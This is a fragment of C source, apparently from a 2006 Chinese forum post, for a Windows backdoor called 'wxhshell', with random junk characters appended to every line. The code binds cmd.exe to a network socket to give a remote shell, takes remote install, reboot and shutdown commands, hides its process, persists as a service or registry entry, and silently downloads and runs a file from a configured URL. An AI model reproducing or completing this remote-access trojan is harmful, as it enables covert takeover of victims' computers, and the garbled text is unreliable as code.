  ~x1$h#Cx'  
  // 帮助 !2f[}.6+  
  case '?': { asppRL||  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8.O8No:'&  
    break; I=`U7Bis"  
  } V@g'#= {r  
  // 安装 )6Fok3u  
  case 'i': { uxr #QA  
    if(Install()) _ 9F9W{'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o6.^*%kM'  
    else W*2BT z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3[Qxd{8r  
    break; T4Pgbop  
    } {8W'%\!=  
  // 卸载 VY7[)  
  case 'r': { _l8 9  
    if(Uninstall()) \!.B+7t=I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UM"- nZ>[  
    else L0TFo_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +nFu|qM}  
    break; W{ q U  
    } !Wntd\w  
  // 显示 wxhshell 所在路径 n{ar gI8wF  
  case 'p': { -&zZtDd F  
    char svExeFile[MAX_PATH]; rlOAo`hd  
    strcpy(svExeFile,"\n\r"); Rl?_^dPx  
      strcat(svExeFile,ExeFile); 8p 'L#Q.  
        send(wsh,svExeFile,strlen(svExeFile),0); g}1B;zGf  
    break; j8 ^Iz  
    } 52Z2]T c ,  
  // 重启 LTQ"8  
  case 'b': { &]|?o_p3W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  iu=7O  
    if(Boot(REBOOT)) :(P9mt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8e1UmM[  
    else { 0ypNUG}   
    closesocket(wsh); ymhtX6]  
    ExitThread(0); kTOzSiq  
    } lZ]ZDb?P  
    break; y51e%n$  
    } :!WHFB o 8  
  // 关机 u}macKJmp\  
  case 'd': { Z>k#n'm^z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yEqps3%  
    if(Boot(SHUTDOWN)) *av<E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E Nh l&J  
    else { Q{>+ft U  
    closesocket(wsh); <lPm1/8  
    ExitThread(0); \wz6~5R  
    } l<58A7  
    break; he;dq)-e9  
    } +V ;l6D  
  // 获取shell 61C7.EZZ;  
  case 's': { FpmM63$VN[  
    CmdShell(wsh); 2*;~S4 4  
    closesocket(wsh); *v^Jb/E315  
    ExitThread(0); 3nO]Ge"w'n  
    break; P64PPbP  
  } >* f-Wde  
  // 退出 pP&7rRhw  
  case 'x': { O:;w3u7;u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LM<qT-/qs  
    CloseIt(wsh); l *(8i ^  
    break; K_|k3^xx"  
    } NX*Q F+  
  // 离开 %S960  
  case 'q': { ZB= E}]v6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [Kg+^N% +  
    closesocket(wsh); %} SrL*  
    WSACleanup(); > PRFWO  
    exit(1); ;#W2|'HD  
    break; p_gm3Q  
        } AUG#_HE]k  
  } c<:-T  
  } t6 "%3#s  
X:"i4i[}{9  
  // 提示信息 Cn34b_Sbd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4 #MtF'J  
} $f <(NM6?  
  } SaO}e  
-V77C^()8d  
  return; iy.p n  
} tKOmoC  
{L{o]Ii?g  
// shell模块句柄 1hY{k{+o  
int CmdShell(SOCKET sock) HmGWht6R  
{ %v M-mbX  
STARTUPINFO si; Ju@c~Xm  
ZeroMemory(&si,sizeof(si)); EHJ.T~X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t\dN DS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :D5Rlfj  
PROCESS_INFORMATION ProcessInfo; ,q`\\d  
char cmdline[]="cmd";  ,f%S'(>w  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~g]Vw4pv  
  return 0; I3L<[-ZE  
} zj{pJOM06  
8b& /k8i:  
// 自身启动模式 _`j7clEz  
int StartFromService(void) BA:VPTZq  
{ e8a+2.!&\  
typedef struct V+Y%v.F  
{ sUO`uqZV  
  DWORD ExitStatus; Di6?[(8  
  DWORD PebBaseAddress; S&wMrQ  
  DWORD AffinityMask; W aRw05r  
  DWORD BasePriority; 76{G'}B  
  ULONG UniqueProcessId; Jq-]7N%k/  
  ULONG InheritedFromUniqueProcessId; 7;(`MIFXs  
}   PROCESS_BASIC_INFORMATION; B6DYZ+7A  
~Fcm[eoC  
PROCNTQSIP NtQueryInformationProcess; !c Hum  
k(nW#*N_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `Y$4 H,8L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l_d5oAh   
_ ]ip ajT  
  HANDLE             hProcess; & '`g#N  
  PROCESS_BASIC_INFORMATION pbi; F v2-(  
"%w u2%i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +{.WQA}z\  
  if(NULL == hInst ) return 0; By!o3}~g  
cKI9#t_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'rkdZ=x{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zR:L! S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A|4[vz9>H  
&K#M*B ,*p  
  if (!NtQueryInformationProcess) return 0; ""G'rN_=Bi  
.uZ3odMlx  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :P~6~ K um  
  if(!hProcess) return 0; JX;G<lev  
7>%8eEc  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j</: WRA`]  
M5X&}cN6  
  CloseHandle(hProcess); %ntRG !  
Xc-'Y"}|`t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T.BW H2gRP  
if(hProcess==NULL) return 0; zTSTEOP}%Y  
XNkn|q2  
HMODULE hMod; UB@+c k  
char procName[255]; pz*3N  
unsigned long cbNeeded; F^;ez/Gl  
V b?oJhR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X.{S*E:$u  
m<Dy<((_I  
  CloseHandle(hProcess); FTUv IbT  
|/{=ww8|  
if(strstr(procName,"services")) return 1; // 以服务启动 SY\ gXO8k  
",; H`V  
  return 0; // 注册表启动 ##>H&,Dp[  
} 8cIKvHx  
Ve; n}mJ?  
// 主模块 / zPO  
int StartWxhshell(LPSTR lpCmdLine) @qAS*3j  
{ ;?p>e'  
  SOCKET wsl; V**~m9f  
BOOL val=TRUE; V U3upy<  
  int port=0; $<EM+oJ|ER  
  struct sockaddr_in door; p_%Rt"!  
sUQ@7sTj  
  if(wscfg.ws_autoins) Install(); 2fd{hJDq;5  
hHnYtq  
port=atoi(lpCmdLine); }19\.z&J  
\_f(M|  
if(port<=0) port=wscfg.ws_port; n{mfn *r.  
"+G8d' %YV  
  WSADATA data; .#8 JCY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vA8nvoi  
!%c\N8<>GD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )jP1or  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Yc?*dUV  
  door.sin_family = AF_INET; e(t\g^X  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @:#eb1 <S  
  door.sin_port = htons(port); p<"mt]  
zQd 2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XW] tnrs  
closesocket(wsl); 8{sGNCvU  
return 1; _-g&PXH  
} #@Jq~$N|  
UP,c|  
  if(listen(wsl,2) == INVALID_SOCKET) { %7+qnH*;r  
closesocket(wsl); zK@@p+n_#.  
return 1; HG^'I+Yn  
} vXje^>_6  
  Wxhshell(wsl); `b$.%S8uj=  
  WSACleanup(); ~Mxvq9vaD  
2BwO!Y[  
return 0; 0@oJFJrO  
ud('0 r',D  
} *$g-:ILRuZ  
vr =#3>  
// 以NT服务方式启动 +CNv l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X'iWJ8  
{ wFZP,fQ9l  
DWORD   status = 0; &tj!*k'  
  DWORD   specificError = 0xfffffff; 4.t-i5  
%EB/b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ysv" 6b}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ew4U)2J+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N~'c_l  
  serviceStatus.dwWin32ExitCode     = 0; >z@0.pN]7  
  serviceStatus.dwServiceSpecificExitCode = 0; jse&DQ  
  serviceStatus.dwCheckPoint       = 0; S)@j6(HC4  
  serviceStatus.dwWaitHint       = 0; sXFZWj }\  
9G2FsM|,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I; rGD^  
  if (hServiceStatusHandle==0) return; c]!V'#U  
WH^%:4  
status = GetLastError(); a\*yZlXKs  
  if (status!=NO_ERROR) 5nx1i  
{ UkFC~17P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,z=LY5_z)  
    serviceStatus.dwCheckPoint       = 0; Qo|\-y-#  
    serviceStatus.dwWaitHint       = 0; tKXIk9e  
    serviceStatus.dwWin32ExitCode     = status; SE*g;Cvg1  
    serviceStatus.dwServiceSpecificExitCode = specificError; j0q&&9/Jj  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4j^ @wV'  
    return; {+>-7 9b  
  } r9?Mw06Wc5  
EfT=?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; h/Y'<:  
  serviceStatus.dwCheckPoint       = 0; Lr pM\}t  
  serviceStatus.dwWaitHint       = 0; scV5PUq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1?l1:}^L  
} U]rRQ d/:;  
do'GlU oMC  
// 处理NT服务事件,比如:启动、停止 'LDQgC*%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \s\?l(ooq"  
{ 4#Jg9o   
switch(fdwControl) A@#E@ ;lm  
{ p6S8VA  
case SERVICE_CONTROL_STOP: =Dj#gV  
  serviceStatus.dwWin32ExitCode = 0; "\yT7?},  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2GG2jky{/  
  serviceStatus.dwCheckPoint   = 0; TWX.D`W  
  serviceStatus.dwWaitHint     = 0; =?8@#]G+  
  { I7 ]8Y=xf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ftSW (og  
  } v`T c}c '  
  return; Zv{'MIv&v  
case SERVICE_CONTROL_PAUSE: n `Ac 3A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #KvlYZ+1  
  break; CWKm(@"5  
case SERVICE_CONTROL_CONTINUE: ;$Jo+#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {P-):  
  break; 1|=A*T-<M  
case SERVICE_CONTROL_INTERROGATE: |Y.?_lC  
  break; {M)Nnst"~  
}; 0=$T\(0g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'Pbr v  
} #5uOx(>  
uXiN~j &Be  
// 标准应用程序主函数 #O&8A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uQzXfOq  
{ !8 b ^,  
7d\QB (~  
// 获取操作系统版本 #\ErY3k6&  
OsIsNt=GetOsVer(); l U]nd[x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7t3!) a|lI  
+ZX{>:vo   
  // 从命令行安装 # f\rt   
  if(strpbrk(lpCmdLine,"iI")) Install(); 8zb /xP>  
%z$#6?OK^  
  // 下载执行文件 5bb(/YtFy  
if(wscfg.ws_downexe) { 5mR 1@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J .<F"r>  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1\.pMHv/  
} yt2PU_),  
6L~n.5B~o  
if(!OsIsNt) { E?@m?@*/  
// 如果时win9x,隐藏进程并且设置为注册表启动 CvdN"k  
HideProc(); : rVnc =k  
StartWxhshell(lpCmdLine); cz$2R  
} T u'{&  
else :23P!^Y  
  if(StartFromService()) !5N.B|N t  
  // 以服务方式启动 5lum$5  
  StartServiceCtrlDispatcher(DispatchTable); |':{lH6+1  
else Y4YJJYvD  
  // 普通方式启动 .RL=xb|[  
  StartWxhshell(lpCmdLine); {4PwLCy  
xYB{;K  
return 0; nr3==21Om4  
}
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只看该作者 1 发表于: 2006-10-10
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